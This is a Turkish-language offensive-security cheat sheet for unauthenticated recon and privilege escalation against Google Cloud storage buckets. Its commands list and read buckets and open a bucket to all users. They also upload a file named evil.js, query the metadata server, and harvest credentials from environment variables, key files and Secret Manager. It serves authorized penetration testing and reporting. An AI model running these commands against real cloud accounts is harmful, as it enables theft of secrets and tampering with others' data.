Skip to content

GCP - Public Buckets Privilege Escalation

GCP unauth

GCP - Public Buckets Privilege Escalation — GCP ortamında kimlik doğrulamasız keşif ve ilk erişim notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Anonim / public yüzeyleri (URL, bucket, API, metadata) parmak izi al.

  2. Kimlik gerektiren uçları ayrı tut; açık policy / misconfig doğrula.

  3. Erişim kanıtı üret (listeleme, okuma, invoke).

  4. Elde edilen secret/token ile authenticated faza geç.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gcloud auth list
Terminal window
gcloud config get-value project
Terminal window
gcloud auth print-access-token | cut -c1-20

GCP - Public Buckets Privilege Escalation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
gcloud storage buckets describe gs://BUCKET --format=json
Terminal window
gcloud storage buckets list
Terminal window
gsutil ls
Terminal window
gsutil ls -r gs://BUCKET
Terminal window
gsutil iam get gs://BUCKET
Terminal window
gsutil iam ch allUsers:objectViewer gs://BUCKET
Terminal window
gsutil cp gs://BUCKET/secret.env .
Terminal window
gsutil cp evil.js gs://BUCKET/
Terminal window
curl -sI https://storage.googleapis.com/BUCKET/

İmzasız veya public istekle okuma/yazma/invoke mümkün mü — bunu netleştir.

Terminal window
curl -sI https://storage.googleapis.com/BUCKET/
Terminal window
curl -s https://REGION-PROJECT.cloudfunctions.net/FN
Terminal window
curl -s https://SVC-XXXX.a.run.app
Terminal window
curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
gcloud secrets list
Terminal window
gcloud secrets versions access latest --secret=SECRET

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt